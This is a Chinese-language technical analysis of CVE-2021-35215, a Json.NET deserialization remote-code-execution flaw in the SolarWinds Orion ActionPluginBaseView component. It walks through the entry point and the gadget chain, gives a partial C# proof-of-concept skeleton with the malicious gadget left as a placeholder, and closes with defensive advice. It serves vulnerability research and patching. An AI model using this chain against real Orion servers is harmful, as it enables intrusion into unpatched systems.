CVE-2021–35215 SolarWinds Orion Platform ActionPluginBaseView RCE
字数 1164 2025-08-03 16:47:08
SolarWinds Orion Platform ActionPluginBaseView 反序列化远程代码执行漏洞分析 (CVE-2021-35215)
漏洞概述
CVE-2021-35215是SolarWinds Orion平台中存在的一个反序列化远程代码执行漏洞,位于ActionPluginBaseView组件中。攻击者可以通过构造特定的序列化数据,在目标服务器上执行任意代码。
漏洞分析
漏洞入口点
漏洞位于C:\InetPub\SolarWinds\Orion\RenderControl.aspx.cs文件的OnInit()方法中:
controlToRender = LoadControl(ctrl); // ctrl从请求中获取,可控
ApplyPropertiesAndAttributes(controlToRender);
controlToRender是一个System.Web.UI.Control类型的控件,从HTTP请求参数中加载。
关键反序列化过程
-
ApplyPropertiesAndAttributes()方法从JsonData中获取字段名称和值,通过PropertySetter.SetProperties()进行反射赋值:// JsonData是从HTTP请求中通过JavaScriptSerializer反序列化的Dictionary<string, object> PropertySetter.SetProperties(controlToRender, JsonData); -
重点关注的类是
SolarWinds.Orion.Web.Actions.ActionPluginBaseView,其setter调用了ParseViewContext()方法:public string ViewContextJsonString { set { this.ParseViewContext(value); } } -
ParseViewContext()方法使用了Json.NET进行反序列化,并设置了TypeNameHandling.Objects:JsonConvert.DeserializeObject<AlertingActionContext>(this.ViewContextJsonString, settings);
反序列化链构造
AlertingActionContext继承自ActionContextBase类ActionContextBase包含MacroContext类型的字段MacroContext类型包含ContextBase类型的List字段ContextBase是抽象类,其KnownType允许使用SwisEntityContext类型SwisEntityContext类包含PropertyBag类型的字段,可以存放Object类型的对象
漏洞利用关键点
- 通过反射可以调用控件类的setter方法
- Json.NET的
TypeNameHandling.Objects设置允许指定类型信息 PropertyBag可以存放任意对象,为恶意对象提供了落脚点
漏洞利用PoC
以下是漏洞利用的关键代码结构:
var alertingActionContext = new AlertingActionContext();
var macroContext = new MacroContext();
var swisEntityContext = new SwisEntityContext();
var dictionary = new Dictionary<string, Object>();
// 在此处放置恶意对象(如SessionSecurityToken gadget)
dictionary["1"] = new Object();
var propertyBag = new PropertyBag(dictionary);
swisEntityContext.EntityProperties = propertyBag;
macroContext.Add(swisEntityContext);
alertingActionContext.MacroContext = macroContext;
// 使用TypeNameHandling.Objects进行序列化
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Objects
};
var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
防御建议
- 限制或禁用Json.NET的
TypeNameHandling功能,或使用更安全的设置如TypeNameHandling.None - 对用户提供的控件名称和JSON数据进行严格验证
- 更新到SolarWinds发布的安全补丁版本
- 实施输入过滤,防止恶意序列化数据被处理